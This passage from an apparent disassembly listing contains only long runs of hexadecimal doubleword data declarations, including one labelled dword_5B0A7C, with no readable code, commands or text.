		dd 0D34F1621h, 2A56E05Bh, 94B8C85h, 346D2CC4h, 0B5500CA0h
		dd 0AD007054h, 10F7C86Eh, 30F8226h, 0F5AC95DEh,	0C0ADECCFh
		dd 759B7040h, 0DC090278h, 0A9FCE60Fh, 0A84403F8h, 0A7A4A908h
		dd 0AAE4F0h, 2436ABE2h,	0DC2879F2h, 0C18A1500h,	1CEE6E69h
		dd 0B0906Fh, 904DEDE0h,	0C7BB793Fh, 2000717Fh, 0CCA54C3Eh
		dd 1D827052h, 3CC2F823h, 66E7BF80h, 0ADE671ACh,	0CC1CA801h
		dd 79D5B2CEh, 26705830h, 0F280AEh, 7E864A51h, 1400EA96h
		dd 104F79CDh, 4752A0h, 807068E0h, 0B4A3F1E5h, 75228D1Ch
		dd 2DA989C0h, 0E856B62h, 4C1CDC18h, 6D5A8161h, 0EFF45084h
		dd 0F498AED5h, 0EEC5D700h, 98B3F135h, 61B0AAh, 77BA93CBh
		dd 64B04718h, 0FA4D7100h, 1F1012B4h, 9CD1F40h, 2F95C35Bh
		dd 0D0B864F0h, 0D300D9F4h, 9B71F2D1h, 3EBBE555h, 0B600F9A2h
		dd 9D23F7A1h, 0BA00CA33h, 9EA05706h, 3F911EE9h,	0A980CC53h
		dd 48AB96ECh, 110090D2h, 0A3AAB6A5h, 766C828h, 0D76C09B5h
		dd 64B870C2h, 8807A593h, 67EEA8BBh, 0AE4294F0h,	2F73003Eh
		dd 0C35A7747h, 29606DC2h, 0CA359210h, 0A2D40076h, 431016A3h
		dd 36EAA613h, 0E8CD58h,	504D69FFh, 3967E3h, 0E68C7EE5h
		dd 2683751Eh, 0D659200h, 0FC95076Fh, 0BB0A00B1h, 41B497F6h
		dd 0D200F54Dh, 5EF2673Eh, 7B69A10h, 0F1CFFCA8h,	343D612Bh
		dd 0ACD5C85Bh, 27E80800h, 8F12A6D0h, 0DBC80795h, 3002A9FFh
		dd 9E57DDCFh, 0A54B9F02h, 0A58AE0FEh, 9140A1B0h, 88506FA0h
		dd 5BAD008Eh, 8C81BCABh, 0BA00A5A3h, 2FC8E23Ch,	0FDE86A0h
		dd 97D7204Bh, 58B22440h, 0E70DFBBCh, 8E7BFD31h,	885F9C03h
		dd 0FFBE6E6Ch, 0C24DE4h, 0A65D481Ah, 7073B1B0h,	0BD8AD80Fh
		dd 1D80E0DAh, 18C6B66Ah, 4127C420h, 63004E04h, 0B58FACFFh
		dd 0AC58CE83h, 0D20F0024h, 0FF8DEF0Ah, 0F0F63C5Ch, 0A8C4C8C0h
		dd 715426h, 9BD4E7B0h, 0E43CAB85h, 0B7A2807h, 6EA7A517h
		dd 2227EBC0h, 4E698h, 1511B679h, 0FE9C0DB7h, 0E0C33A0Fh
		dd 6A082F80h, 0E03A9820h, 48123829h, 3EEE076h, 0E0BE2866h
		dd 96E0BA7Fh, 26EC642Bh, 3EF0E3EAh, 4A9A7C04h, 8F80C1C5h
		dd 4CA8E86Ah, 780099D4h, 8514D0BBh, 0F607FE35h,	5EE7B2DDh
		dd 0CED9CF20h, 9480A867h, 5A206A5h, 0B12983B4h,	799903Dh
		dd 0A6A97926h, 0BFFE0BD0h, 0D24D0421h, 0C08DB10Dh, 0D32A61A7h
		dd 4CEFA61Fh, 3D0E7440h, 595F14h, 0C511328Ch, 0BD61D479h
		dd 0E400137Dh, 69BFAE55h, 2883A325h, 0A8EDD9h, 1ABACCDAh
		dd 0D51F1DB5h, 0D0881B00h, 8D6DFB3h, 0D8870083h, 3ECFE915h
		dd 6E48F2A3h, 0B4C20E8Ch, 439140F4h, 0D1DA60h, 0CCF66B0Eh
		dd 3EBE0A86h, 0AF00FD77h, 0D989557Eh, 0C32558h,	6DACBE6h
		dd 0A4971495h, 28362E01h, 0B177C770h, 0D2C8E831h, 88150094h
		dd 46DD97C2h, 0EC0AF00Ah, 0A0B026BEh, 777E58h, 273B0899h
		dd 9E4FA9C5h, 4E0BDB00h, 0F789717Fh, 2B290088h,	9528BB6Ch
		dd 0B900065Bh, 9DCDCE50h, 5DBE98h, 0FB626722h, 34BF9992h
		dd 78232100h, 4DD01AF5h, 0EBA600FFh, 18F10D64h,	0A4009081h
		dd 2156A5C4h, 1CAFD236h, 0F4A9F26h, 0F892D7A3h,	51DC00E0h
		dd 4FDEAEC4h, 0DB9C00C8h, 0B7C5B028h, 0F300D87Ch, 725E30E9h
		dd 64A2AF0h, 102DC6Dh, 9838A1h,	7C1D9603h, 0E0331140h
		dd 3DFC75F4h, 0F387A7h,	398FA9EAh, 3477C89h, 0CB71E860h
		dd 320FD12h, 9FE4D22Ah,	16A8C948h, 0B2007BBFh, 0BC8F456Ah
		dd 0B80C5Dh, 0B5C40A4Dh, 0DCEA03DFh, 48F3AC1Ch,	0A0AD5C40h
		dd 0ECBB3EFh, 0E0DC8E9h, 816DFA65h, 0CC1814EBh,	1638D839h
		dd 63FB00EBh, 4FB6F1BFh, 6C1C2F0Dh, 8507DE5Eh, 0FE80F5E0h
		dd 6FB4404h, 0A9C8E42Ch, 791F49D0h, 2080C5E2h, 0FF1A82E7h
		dd 0CB0B0011h, 0C2121484h, 0A100F017h, 0D1B6AE5Bh, 79A6A488h
		dd 1F7A25h, 5D45DB73h, 0D41604C9h, 0F0509355h, 0BF00524Eh
		dd 0EC85B790h, 53B5BBh,	2DE3C16Fh, 0FA502C68h, 8022E73Ch
		dd 0D2D10290h, 0EC062BDh, 14693266h, 363F8620h,	13E20344h
		dd 7C9739h, 7A35C3Ah, 1334E4Ch,	0B3FD50F9h, 7001AC1Eh
		dd 2600C13Dh, 0A3704A5Ah, 145C0ABh, 0B7C603E2h,	0D4A85695h
		dd 0BF00B57Ch, 73F727ACh, 904AF12Bh, 0C6C7F31h,	3E573543h
		dd 0EE39A0D1h, 550A045Eh, 2C81C591h, 0ADF02162h, 0F047810Fh
		dd 0AA009614h, 27287563h, 0F6519E1h, 0DFAFFE20h, 0D8AED7C0h
		dd 39B0603Eh, 841E7D02h, 0C0508A42h, 311C63h, 0F9969501h
		dd 4E7AF555h, 0C21A9F00h, 9C42AD8Fh, 0DB183960h, 4D4F0700h
		dd 945E0BECh, 0D1A69600h, 7560C773h, 0F1F6003Fh, 0BD8DE29h
		dd 0E3053732h, 0D639853Bh, 814D05C0h, 1B960078h, 0F023EC4h
		dd 7D006121h, 54EB6B50h, 30422Bh, 0B0A4B234h, 10977F37h
		dd 8A00C5F0h, 0DB955B32h, 90B16DD1h, 6C3F02F4h,	18022FD5h
		dd 27E9A0E0h, 536A2800h, 3AC6637Ch, 0FE88E0A0h,	60300FA9h
		dd 145D5CCh, 80B58383h,	296BC990h, 13EEC60Eh, 945F0082h
		dd 638BFh, 5E081849h, 0FE023D78h, 410C077Eh, 20619AB4h
		dd 7AEB002Ch, 0AA0D1BFBh, 0AD30BF4Ah, 23C380B3h, 0B15D5810h
		dd 0C08C8928h, 0A2C99A20h, 0AC00B18Ah, 7A767316h, 84FC32h
		dd 0D01E8547h, 886D7731h
dword_5B0A7C	dd 2111B20Bh, 67640070h, 304622h, 0C5233DB4h, 3C9AC0E1h
		dd 401C7300h, 44D78936h, 7B48C930h, 80654207h, 8C1783A7h
		dd 480775FEh, 0DF953D2Dh, 5129C27Eh, 730E400Dh,	0A08E0133h
		dd 19388447h, 8BB07E17h, 91251D2Dh, 99544CD9h, 0CA008611h
		dd 5D1EB57Fh, 7AF5ECDEh, 0FD700A2h, 2D894EB1h, 44076233h
		dd 1246836h, 0E3ED0AC0h, 99552452h, 0BA0D00BAh,	0C2E0B8FAh
		dd 4700E5FAh, 0FD2A1FF3h, 51B06Fh, 1A6B778Dh, 0B3A3C7CEh
		dd 1F4ED100h, 0D864C97Eh, 347307C8h, 0A0409B84h, 0E271BE51h
		dd 0D21D3B00h, 0A2678E0Ch, 8416382Ch, 4DF9B481h, 0FCFA7E42h
		dd 6F0025D5h, 39928C98h, 0DA730h, 349D5246h, 6E4B8A09h
		dd 494EF40Fh, 0E5FB604Ch, 0A86F0FDh, 0CB149A97h, 0C9EB00ACh
		dd 7390FEADh, 0DC43E900h, 0B95192A6h, 0C205009Dh, 1FD49BD6h
		dd 0D1000D26h, 0CD7CC4F3h, 50965BD0h, 0BFFA038h, 675C2863h
		dd 0A01F3380h, 3A0048FDh, 0DE32C20Bh, 0F3E4004h, 0E479AC76h
		dd 84E8AA80h, 0BA187BB6h, 199B2FBh, 593C002Ah, 0B5F062E9h
		dd 6A0C5F29h, 291A6C4Fh, 92713FA2h, 0C82E5D00h,	0AB68D7CDh
		dd 4019A36Ch, 54111E8Fh, 0D0E2C0DDh, 5C743584h,	0B8B7F430h
		dd 0FDFB29h, 576C7AC0h,	1E82970Bh, 1828AB00h, 72DD1A4Ch
		dd 7110044Bh, 0C00B50AFh, 0AEA2FFEh, 9B669803h,	71812ECh
		dd 6382B930h, 41A7F1h, 79CD2EEBh, 2B320F05h, 48C14A29h
		dd 31D0F6C1h, 7DD30012h, 3AFBCDA6h, 0E007E05h, 7507F2F3h
		dd 0C4A7CFh, 37CE21EAh,	0C3D4694Ch, 80BC683Dh, 402E1235h
		dd 4982CBh, 3DEB7CB4h, 0A84F2DAh, 3B89E600h, 780A3BFh
		dd 21300E5h, 0F8FB2E3Fh, 0B61C060Eh, 28B7A801h,	0E0ADF0E0h
		dd 60A30024h, 5703C490h, 0D930E9EFh, 9243D028h,	0A24D006Dh
		dd 66C8DD60h, 0E400196Bh, 22406A4Eh, 0FDFFB84h,	7125DB85h
		dd 28EB9DC3h, 9F78E815h, 0BDA7818Ch, 78BF0EE4h,	92B43981h
		dd 0C45DC611h, 0F40053E8h, 499316C0h, 0E39AD9h,	4FD13731h
		dd 1A32AA2Dh, 2BBD200h,	8117426Bh, 450B00D7h, 77D0A2AFh
		dd 880063A9h, 0B93FDD6Dh, 3E50F3h, 0BB7ED6FBh, 7D660784h
		dd 36F03B00h, 0DB21BEC9h, 0DD490322h, 5827FA77h, 8B6D5EF0h
		dd 7E30C200h, 1CCDF5A6h, 118A0712h, 20215496h, 5A6735E6h
		dd 1CBF2348h, 6A00F2B3h, 46AD92DEh, 457100C4h, 7CFDD554h
		dd 5200274Ah, 0D0181B74h, 77163F39h, 0FA6D0E1Eh, 0FF42421Fh
		dd 0B3404D98h, 0B83EC46Fh, 311B8092h, 78F5A04Eh, 27C0A8E5h
		dd 0DBCE005Fh, 8765F134h, 8E00E6CFh, 4E9C1495h,	88BAF4h
		dd 0E156275Dh, 2CEC15DFh, 53002C92h, 0E36124BBh, 30EBC1D2h
		dd 1A20976Bh, 0CC0152ABh, 0C9DB2AFAh, 46C80CE8h, 169F00D0h
		dd 314FF8F7h, 8F00A4B6h, 0D94B1FF2h, 90DA0Fh, 0D081524Dh
		dd 0FA8253FEh, 40F25509h, 45040F6Dh, 0C0AEB4CDh, 8B713D8Dh
		dd 0BF321C03h, 988CFC63h, 3F456FAEh, 4A85C5BBh,	834EE2ADh
		dd 0EDE8A4D1h, 0A17236FAh, 51D3C800h, 0EA771FE8h, 0B5C30076h
		dd 8FB809CEh, 981DF097h, 9940E16Bh, 50F85351h, 0D91109B3h
		dd 8E5D1282h, 80072AB8h, 663E00BDh, 0EDF4F2AAh,	0EAEE48h
		dd 0BC36BAC8h, 24C03590h, 69982260h, 61F847h, 0C8A66C79h
		dd 4BE4861Ah, 7DD65100h, 0B78DA7CEh, 6C90EAh, 59202C2Ah
		dd 139572DFh, 4006780Eh, 0BCD5A79Dh, 37EDFE20h,	362B000Fh
		dd 0C3B54523h, 6F3A1A50h, 0A45E3BEBh, 0D48090E8h, 7ECA94D9h
		dd 3B0F057h, 41A90779h,	55E89F40h, 0DD00A56Ah, 1F74F28Ah
		dd 38AC7773h, 5A80486Ch, 0E2397220h, 940153B2h,	3DC29DD0h
		dd 0BCE0C924h, 59DB006Fh, 0E3603657h, 7F38C5B2h, 45BA0594h
		dd 0E8472356h, 801F4B2Dh, 90429E95h, 97703EB1h,	19099C80h
		dd 3EF4589Bh, 5D6BE901h, 3C343272h, 7392D881h, 207C1856h
		dd 69751E50h, 9754F000h, 0E912C6F6h, 0E34A345h,	0E1BB98E0h
		dd 0B09FE480h, 100067Fh, 0C58C5309h, 0F8FFD876h, 1987007Dh
		dd 46BB1528h, 5F1E4117h, 1040A901h, 0CF43D0DDh,	4C3AE275h
		dd 7E2B1E53h, 142B0168h, 606870FDh, 17FA8E27h, 0C6000C90h
		dd 0BE3D535Fh, 0AFCE46h, 0D6F58B59h, 0A6E95E51h, 1D3FBD3Fh
		dd 0C98EA2C1h, 87F7C0FBh, 768E6B9h, 0DCD013C8h,	43EEC137h
		dd 9593CC54h, 0A6425Ch,	0DA0C871Fh, 36855B8h, 846F1809h
		dd 66F06CB3h, 910089E4h, 6134A3E0h, 1E6760ECh, 63AF8Ah
		dd 59729F9Ah, 0E300F9E7h, 7F2215FEh, 28D9FCF8h,	9C1F8Ah
		dd 0E5726A56h, 0B9AE2B2Eh, 2F0EC074h, 60BAAA50h, 0F46502FCh
		dd 0C30838D6h, 4656A581h, 60C11293h, 0E700A971h, 6352992Ah
		dd 2FE8654Fh, 4F696C5h,	8028EE09h, 12331A1Ch, 7DA67EB7h
		dd 2FCD0030h, 0E322D44Bh, 5B00AF73h, 6D7C82DDh,	851C23h
		dd 72BDEFB8h, 7E11B113h, 7F638000h, 0A7B46029h,	40A400CDh
		dd 0CFE999EFh, 0F4980FFAh, 0EABAFC05h, 80840EF4h, 0A967D840h
		dd 3C87C4A8h, 372A1D88h, 8F1E00DCh, 0A2DCCB03h,	0DE3C7413h
		dd 75E50036h, 0C7635629h, 2B09001Ch, 0DDEBC948h, 892EAE4Ah
		dd 72018D8Ah, 75C7A751h, 5F0E20h, 0FD52A5ACh, 0EE4A01BBh
		dd 0B735F600h, 346B38E7h, 1E1524D4h, 3003948h, 0FE760F25h
		dd 0E0054C6Eh, 703C260Bh, 0CFB68000h, 48D045C5h, 0F450C840h
		dd 1FB010h, 0E234477Bh,	71CF1733h, 32CA6001h, 0ECD1087Ah
		dd 3C4CAEF4h, 6B00EE77h, 0F054199Bh, 3B586FCCh,	962D0E9Ch
		dd 446D4037h, 82DAC9h, 11366995h, 2FE906A5h, 0B9DD3Eh
		dd 425CFFEDh, 2F60637Ch, 3F60BEADh, 93734CFAh, 79E57301h
		dd 0E6A1498Ah, 8287D4h,	0A062F7Fh, 0D54FD2C2h, 0B4CE000h
		dd 95D723D9h, 2F343E8Ch, 0BE936100h, 1CA0CC2h, 69C8AB00h
		dd 4C54FA63h, 796002DAh, 0B3DE0F36h, 78F28040h,	0EE46F600h
		dd 0C104D407h, 14B2004Ah, 0E2E04703h, 231F139Fh, 6CC0BD9Ah
		dd 0C2EB1EA0h, 5BB900ABh, 611B2401h, 0A2FE4E7Eh, 83D63A00h
		dd 59936238h, 35DD0CB5h, 0C4DA729Bh, 733BD200h,	67AC8D7Eh
		dd 6FE00077h, 2939F7A9h, 0DA2CC82Bh, 0DB0005EBh, 174AFB56h
		dd 0DDA93B1Ah, 0F6103400h, 9749AFF5h, 8E753D00h, 0B986D2C8h
		dd 585400E3h, 51A230B2h, 0C50781D8h, 5923FAC1h,	0E5A60E80h
		dd 0A5870564h, 0AEA13Bh, 6DA7E1D3h, 10007090h, 5179EC81h
		dd 3ADFB783h, 6CAC5E35h, 0FA86009Ch, 0F64E6E7Ch, 741948h
		dd 0A2F0DA16h, 98FF63DDh, 0E1D300DAh, 0BADBA651h, 290B99FBh
		dd 155BCCBh, 81DCD502h,	9024F4D0h, 2CCD0094h, 0AFFD3CF8h
		dd 0F704700Eh, 11631E6Dh, 0F92D5BC0h, 9F66090Fh, 6900A73Fh
		dd 0FDA8CCCEh, 7F07A479h, 38A362D4h, 0DE493490h, 0E22E605h
		dd 0BBFC6DF1h, 1B77A200h, 0CA07A570h, 2C764A6Ch, 8602E720h
		dd 7D900F8Dh, 4BE04742h, 0A00CB25Dh, 3B82F400h,	20DB323h
		dd 154A004Fh, 43C999Ch,	0AA00CAA9h, 0EB9481C1h,	8BE758h
		dd 247AA520h, 962A55EFh, 9FC27D00h, 3618F111h, 7FD9003Ah
		dd 59F6B932h, 0EC7BB785h, 0A4712000h, 773CE721h, 0C6A200D9h
		dd 0DB094E3Fh, 0CE00C2A5h, 0E87C2F76h, 79864Bh,	0D526AEAAh
		dd 0FE2DC99Dh, 58962C05h, 8804A9E6h, 1DC06CBBh,	369DC23h
		dd 0EBF3C5B4h, 12E87457h, 0CB005C1Fh, 33DD7340h, 6E5560h
		dd 5F13C51Dh, 64DE421Eh, 0A3118500h, 8D684E48h,	0E4AC00A2h
		dd 6D25C4C3h, 9F5B2A91h, 50C82AE1h, 0A45E00BFh,	0ED0B4EE6h
		dd 0FA03D9E1h, 0BDEB8014h
		dd 2599A0A2h, 0A9D83048h, 1E7A7028h, 26B8E1E0h,	4A8CE8C0h
		dd 75141F55h, 7D8B04ACh, 0C7F6C319h, 0A6D93059h, 7E000142h
		dd 0C2620640h, 48B65763h, 0C400D466h, 5E2C4560h, 15004434h
		dd 8F79063Fh, 0E43DE8h,	0D647173Eh, 6A16BE12h, 8272DD03h
		dd 0A8A0626Fh, 91068Fh,	5D21E93Fh, 0A32677FAh, 6BA9DA67h
		dd 2C6455D1h, 2E568870h, 3A3CD5h, 1ED19E9Bh, 0FE005267h
		dd 0AF8393BCh, 156DDF8h, 82690735h, 0F889FC51h,	0F00CB86h
		dd 0A941CD72h, 78C0D7DEh, 0D5A112EEh, 57B500A4h, 80FEBFD4h
		dd 9F53E303h, 0F08DDE2Ch, 7151155h, 648A6FE8h, 3AF0C0C6h
		dd 0CD007EF6h, 0AC56633Ch, 711E47D5h, 73D37E21h, 58B90083h
		dd 0D8466DDBh, 1500A3E5h, 4C737167h, 0E9B30Ah, 86A47D97h
		dd 0D9BC8E7Ch, 1E002877h, 0A5D12C7Bh, 0F48FEEE4h, 2A0A00DDh
		dd 4931032h, 0F0009EFAh, 7A140579h, 3DAD554Dh, 8180429Dh
		dd 67B99811h, 2702DF7Bh, 62C46887h, 0DAB0806Dh,	0E4037C3h
		dd 0B7532F4Ah, 29225F20h, 0A3006836h, 671F0F54h, 6B5633h
		dd 416A9B89h, 9FABC0B2h, 0DA00DDFAh, 0C79E65D6h, 0F86C5Eh
		dd 0A1171849h, 4C40BC82h, 5B0073F8h, 0B76119B5h, 1C55532h
		dd 9580AE91h, 9C549E7Ah, 64C73736h, 0E160C661h,	2E5F35h
		dd 0B9CF8372h, 0A06A90DCh, 5C14BC00h, 0ADD73736h, 2D8C04B5h
		dd 0C0084227h, 0CA3CD229h, 9398880Fh, 56D440C7h, 9F7F4A6h
		dd 0A8DAC121h, 0C5643680h, 2000CEE7h, 10A9EEA2h, 4890665Eh
		dd 0B9000C24h, 4464485Dh, 260C0DCEh, 48FE3365h,	0E4D30251h
		dd 0DA0104BEh, 9660BCAEh, 1B184A46h, 93E1FF00h,	0CC9AD1Ah
		dd 0D16F008Ch, 85070A3Dh, 0A7031937h, 4AF8A0BDh, 7DAA9890h
		dd 0AB720018h, 0B6FA74D2h, 7A2C75F9h, 0EE002ECAh, 3B0407F8h
		dd 0BDB21C37h, 6F7F8022h, 0CBD10D34h, 0AF9ED200h, 0F5D8A9C2h
		dd 74D7A37h, 0CD647409h, 7EE4B091h, 0EF6001D9h,	0A3323DEh
		dd 0F3EEE4Fh, 4DE89E3h,	2D6DC800h, 260047FAh, 56B95C63h
		dd 826516h, 0F37D5201h,	0A70DDAF8h, 25786E60h, 7B9D2798h
		dd 8490C0AFh, 0C0794E17h, 0D7159400h, 0D238D84Fh, 0BA7300CFh
		dd 2B662AA2h, 163E91ACh, 8C8836Eh, 8645BEh, 0C3D69671h
		dd 9A8ACCEAh, 2F67A200h, 1FCD40B5h, 1641E19h, 6B007E88h
		dd 0E5E4FD39h, 3B30EED6h, 178139D1h, 7C571CDCh,	0C71FF374h
		dd 0B03D8380h, 75E94500h, 0D2551A24h, 8AA4A03Eh, 0DF7FC0h
		dd 0AA8EB87Ch, 66C333CBh, 3E73900h, 0BFAEDAC4h,	0D5D2003Ah
		dd 16464CB3h, 0BA00D0A9h, 7D25BE38h, 83F059h, 0A3B29879h
		dd 0B00FD1AEh, 0A6D33Fh, 65C3B767h, 0D6C04Fh, 0F10922ABh
		dd 68174E89h, 874A2117h, 64989500h, 0C88CB3h, 0D2D61651h
		dd 0BB8BAA55h, 8D02D802h, 0AC30290Ah, 1D990FCh,	18FCF6Eh
		dd 54DDE1BCh, 61E38080h, 3C01126Ah, 8659B522h, 0E8F02417h
		dd 0E92972BEh, 574900C3h, 73901EEAh, 0C448A458h, 4F030030h
		dd 0DCA97B54h, 72C90321h, 0F940C8B8h, 397364E8h, 0A0F01C00h
		dd 451D5EE0h, 2C6007CCh, 0CFEB9B30h, 9882AA20h,	0A2006171h
		dd 542483B8h, 977DEB4h,	1842C8DDh, 0C2E53107h, 84009FCh
		dd 0C92A16AFh, 0A600F802h, 0B051147Bh, 0F1F3F027h, 6A0EFCh
		dd 788836A2h, 0C3E59813h, 89A38E07h, 428165C9h,	4BF8F1AAh
		dd 0F52C00F7h, 0C89141FDh, 35005976h, 0C2B20964h, 3BAFEB0h
		dd 4B2FF7BEh, 959016E0h, 330040C7h, 642E58E5h, 3B3B3851h
		dd 0E6242924h, 8B370148h, 0F4F37776h, 5105F842h, 2DAB260h
		dd 0F5ADB800h, 148897Eh, 97DB68D4h, 0F9C8B39Ch,	958024E2h
		dd 58DC1927h, 0F7E300F9h, 42CF9863h, 7E006FD8h,	0BB009D0h
		dd 196B678h, 9CF9E75Ah,	58AEFCB2h, 503C8724h, 6736803Eh
		dd 88F1BE64h, 0A49E0FC9h, 554017E5h, 0D1BB18B4h, 8E617901h
		dd 1A3766Dh, 0AC7BD0h, 730BB371h, 0FCC3F20Fh, 4C28B500h
		dd 0EC909ECDh, 1B600083h, 3885FEF3h, 0C00945B6h, 806B91D8h
		dd 0D01C65CAh, 501E1292h, 218C009Ah, 0AC61D624h, 0C30038FEh
		dd 18799093h, 3A4D45D5h, 940027AAh, 50E2FC2h, 613FF5EEh
		dd 0FFF301AEh, 0C42D87A9h, 0C9E1D0E3h, 0D77600CFh, 0D5DCEDB6h
		dd 0A0A5B95Dh, 516B7500h, 35E72BEh, 0F25A08FDh,	83F9160Ch
		dd 5C78309Ch, 0F858A100h, 65595FA8h, 3F81E4B7h,	0D80C6E6Ah
		dd 1F3097F6h, 6C526300h, 765E73E2h, 0FC20FEF4h,	0DCF70066h
		dd 0E8FB7A3Ah, 307CF0C3h, 3F630503h, 0C1E2AB37h, 9097C117h
		dd 352700B4h, 9353F8B7h, 0E45F5B00h, 1CAFA322h,	8EB40024h
		dd 0B8C58B89h, 63249DBDh, 38600Fh, 0CCB3D228h, 0AAFADCh
		dd 0DA0B1F71h, 23E8021Ch, 0E5959906h, 280EDFh, 8870359Dh
		dd 0CF20FFEAh, 4C0183F0h, 0F0C4865Bh, 4353C3Dh,	7F0795F0h
		dd 2A29000Ah, 0EFBED77Bh, 53006A59h, 4EB156E0h,	145ADFCh
		dd 9D95E581h, 0D7C24ACAh, 81FF104h, 0B283FD1Ch,	0ECC0B592h
		dd 0BD2F29h, 0E511854Eh, 3E9A95EAh, 8FD54500h, 9C5F77E1h
		dd 0CC68013Dh, 81860980h, 4881E22Fh, 0F422073Ch, 1B00E229h
		dd 952D520Eh, 4C42315h,	3C4B0D91h, 8C48828Bh, 0E6A94C60h
		dd 5D0027E4h, 56346B95h, 3749DEh, 0D828A346h, 5AE94E7Fh
		dd 7CA93A00h, 8363EFB1h, 7746005Eh, 0D26285ACh,	3105F2A3h
		dd 84E80CBAh, 0BD661180h, 0C4930011h, 867FCA4h,	27009F2Dh
		dd 53E5DDC7h, 37ABF78h,	0FCAFC184h, 6FB8E432h, 0F2F575Ch
		dd 0A5FE7Ch, 0C542ADFh,	9300E690h, 763CC96Dh, 7C92E0h
		dd 6481C0D9h, 95B552ADh, 1B22062Ch, 0E03EFD0Eh,	0C2DDA10Fh
		dd 0F2BF1C05h, 0C7E6C0E1h, 0C602ECC0h, 0C9321800h, 0E9BACDE5h
		dd 96B872h, 6CB95BDFh, 78F8EC56h, 8E43EA00h, 0B233CD5h
		dd 5DCC002Ah, 0B7AEE0BAh, 1D006ACAh, 0F375A7D0h, 298E7Dh
		dd 579EF0F4h, 0F5C82203h, 0E43593Ah, 0A9016Fh, 2EAF6DC2h
		dd 0BE5200D1h, 37B8E79Bh, 0E2001BDCh, 0C9F9B3C8h, 7D126445h
		dd 0EE130080h, 130A921h, 79FEF18Eh, 9D208D1Fh, 0FB999740h
		dd 0BC8D398h, 6375DBFDh, 6F399881h, 0BB0D7B3h, 0E700871Eh
		dd 38BCE028h, 3BE16064h, 91005869h, 29678109h, 2700F821h
		dd 233925FAh, 75DD2294h, 1190088h, 511A5E57h, 0C100F4D6h
		dd 0F977C05Ch, 7C14DBh,	7F627EBCh, 9754AB49h, 419B9A00h
		dd 6774BE96h, 3220FD9h,	88608C95h, 8395EBCh, 9382B803h
		dd 0DA3168C6h, 65805FFDh, 0EB91B6EDh, 5B00B37Ch, 18F3396Dh
		dd 0CB6093h, 0E03CA6C0h, 2D998AB6h, 394C501Fh, 4B8FA380h
		dd 60F5267Fh, 7258C053h, 474C5565h, 0FC7B00BAh,	0EFB20C37h
		dd 8DDF0F89h, 0CD6103EAh, 8018A102h, 0CA68A8B0h, 0A080D9h
		dd 0DEED33DCh, 2703FC96h, 32EB0C00h, 21A9C4F0h,	45C10004h
		dd 0E63E263Ch, 0E30C8BEDh, 30EC520Ah, 6AB0C237h, 9C60CB57h
		dd 557C5CBCh, 2B266200h, 97754617h, 0C020C16Ch,	0C4AAEAFFh
		dd 0C300E086h, 0E1A6454Dh, 1D7FBB5Eh, 0C01BA5F7h, 65C1C7A4h
		dd 0BF00C22Fh, 5751A007h, 3BE37608h, 1400F570h,	8D2FD993h
		dd 0EE71DF84h, 0BCD5C93Fh, 3900FC3Eh, 5BB0FB4Dh, 3A9D4FCCh
		dd 77AEBF9h, 66F052Dh, 52B520A6h, 58003D34h, 0FA29AADFh
		dd 9F0D06Bh, 4EFCA248h,	72A67000h, 0E9005F30h, 0D9651401h
		dd 924A9FDh, 7B9EE4ABh,	5F2E2020h, 0F97E6E84h, 19F30300h
		dd 8B25F676h, 20A0310h,	0DEB3679Ah, 301DAC90h, 0C591E807h
		dd 0EC30476Ch, 0DD413Bh
		dd 0C0ED9672h, 0A7DE6BF4h, 0B30F4C91h, 3F2E205Eh, 48F17FC8h
		dd 0BC24388Dh, 181F1221h, 0AEFA6889h, 3A8E0403h, 0A11AE96Ah
		dd 0BECBBA2h, 967C007Dh, 5006262Ah, 8238C10Fh, 0C5C78065h
		dd 358DB609h, 196FAD7h,	0FBEEA388h, 0F22812B9h,	8EB0444Bh
		dd 5A000BEAh, 1933CA69h, 87DC16h, 0F4039C90h, 1BE65471h
		dd 3AFC8300h, 0D55F198Ch, 2C8E0013h, 5360A4E0h,	840E6DBEh
		dd 402A80CEh, 0E3333AEDh, 34E9122Fh, 30C65A9h, 8937702Ch
		dd 0BD3041D8h, 131DF00h, 0F02D7D2Ah, 845400AAh,	4768CAF3h
		dd 20073326h, 2BA5231Dh, 0F8E4B5E0h, 8C380054h,	0AB4770E0h
		dd 6E0FC59Dh, 0C9BE2958h, 8BF4002Ah, 0B8722Fh, 0DBE1DADFh
		dd 0F6165066h, 680D0A00h, 0C7EF2B03h, 4D69381Bh, 13FB8987h
		dd 0ECFD104Ch, 209A602Ah, 6F4A8080h, 3E365200h,	0DBEE55BCh
		dd 9769C026h, 9D6ED79h,	178FEB17h, 0C7660200h, 0A7E2CBh
		dd 39E6165Ah, 72B1EDCCh, 6A84EB00h, 785AF02h, 0FD4E008Bh
		dd 9F3FDEEEh, 3A01F552h, 75024DB0h, 50CC88C3h, 0B37016A9h
		dd 5020367h, 0A7C84771h, 0BE1C1635h, 6A83951Dh,	8078C1E7h
		dd 0ED1700Eh, 711A15F6h, 340601Ah, 3073187Dh, 14EB4600h
		dd 2C6DE759h, 0ACAD28F5h, 0A45600D4h, 629741CAh, 8F009313h
		dd 984DA2F2h, 0F44BF6h,	6F794560h, 4EE6F510h, 9B94300h
		dd 0B150553Dh, 54A22A95h, 570D0010h, 4507ED56h,	280EDDE3h
		dd 0C1AF5427h, 0E02D5A7Eh, 0E6678CF4h, 7ACF1E1Ch, 942EC062h
		dd 0E59E7221h, 80EB018h, 0BFF612h, 0B6AB41E2h, 179110CEh
		dd 9DDFDD00h, 56C82AA0h, 8194A0AFh, 0B3E000E6h,	7276C2E7h
		dd 95007BB4h, 8A65D9F1h, 0CA28810h, 0CE4EC597h,	19902EC0h
		dd 9848D060h, 0C0AAC3CAh, 0E8BED9D1h, 0B838CE21h, 8EC001FAh
		dd 0C3EAA134h, 93D4D543h, 479EA83Fh, 304403B9h,	999D1797h
		dd 7004D8C1h, 0F61C6F5Eh, 0A0808131h, 0E30CFFC5h, 3E0906F4h
		dd 20A7265Bh, 83308F3Dh, 42A08505h, 0DE7C0FBh, 0E8D6004Eh
		dd 2C14D0F4h, 2F3ECD2Eh, 43070BA5h, 0B80B00CCh,	0EEC0Bh
		dd 22B0D09Ch, 56DC55B7h, 1F1671B0h, 81007414h, 42383650h
		dd 32FD002Ah, 5512A6A2h, 0DD79FF78h, 8FA5D900h,	0A4A95E52h
		dd 7615F2BCh, 7059044h,	7C1FE6Ah, 3E7D4019h, 2C0EDDECh
		dd 271117F3h, 0FDBBB16h, 8DDE20D6h, 64A8CF1h, 5F5699A2h
		dd 5A7C3182h, 0B0E07D38h, 0F0AAE8F5h, 0A8731Eh,	0C74A93C3h
